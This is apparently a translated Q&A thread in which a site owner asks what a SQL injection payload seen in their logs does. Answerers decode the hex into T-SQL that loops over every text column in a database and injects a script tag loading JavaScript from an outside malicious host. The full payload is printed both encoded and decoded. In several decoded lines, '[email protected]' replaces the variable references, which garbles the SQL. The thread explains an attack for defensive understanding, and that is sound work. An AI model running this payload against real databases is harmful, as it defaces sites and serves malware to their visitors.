Подтвердить что ты не робот

Атака SQL-инъекций. Что здесь происходит?

Возможный дубликат:
Попытка SQL-инъекции - что они пытаются сделать?

Я видел эту попытку SQL-инъекции на моем сайте много раз за последние несколько месяцев.

';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

После прохождения моего кода я уверен, что меня защищают, потому что я запрашиваю массив данных в памяти, а не базу данных. Однако, хотя я уверен, что я защищен, я не совсем понимаю, что происходит с этой попыткой атаки, и хотел бы понять это, поэтому я могу избежать написания кода в будущем, который может быть уязвим для него.

Может кто-нибудь объяснить мне, что эти хакеры пытаются сделать с этим кодом?

Спасибо.

-Этот код добавляется к строке запроса, а также отправляется как пост-данные.

4b9b3361

Ответ 1

Примечание: мое первое объяснение было неверным, потому что я действительно не прочитал все это...

вот что это значит. Он ищет вашу базу данных для столбцов text или varchar (b.xtype в 99,35,231,167), а затем вводит javascript файл во все текстовые столбцы в вашей базе данных. Чуть более злой, чем я думал.

DECLARE 
    @T varchar(255),
    @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR 
    select a.name,b.name 
    from sysobjects a,syscolumns b 
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT 
FROM  Table_Cursor 
INTO @T,@C 

WHILE(@@FETCH_STATUS=0) 
BEGIN exec('update ['[email protected]+'] set ['[email protected]+']=''">
    </title>
    <script src="http://www2.s800qn.cn/csrss/w.js"></script>
      <!--''+['[email protected]+'] where '[email protected]+' not like ''%">
    </title>
    <script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'
'')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Ответ 2

На самом деле Джимми, если вы анализируете этот код, он использует курсор для ввода ссылки javascript на hxxp://www2.s800qn.cn/csrss/w.js в каждом текстовом поле в базе данных.

Это означает, что они не заботятся о вашей базе данных, что они хотят использовать вашу страницу, чтобы украсть данные у пользователей, просматривающих ее.

Эта ссылка javascript теперь мертва, но, вероятно, содержит код для захвата файлов cookie пользователей.

Ответ 3

В дополнение к сообщению Джимми: вы также можете использовать переводчик hex-ascii, чтобы получить следующее:

DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR  FOR select 
a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT 
FROM  Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['[email protected]+'] set ['[email protected]+']=''"></title><script src="http://www2.s800qn.cn
/csrs/w.js"></script>''+['[email protected]+'] where '[email protected]+' not like ''%"></title><script 
src="http://www2.s800qn.cn/csrss/w.js"></script>''')FETCH NEXT FROM  Table_Cursor INTO 
@T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Ответ 4

Просто, чтобы помочь, если вы еще не выяснили, что это автоматическая атака не нацелена. И цель включенного .js файла - распространять вредоносное ПО с использованием вашего веб-сайта и включает в себя несколько эксплойтов, в основном предназначенных для пользователей IE.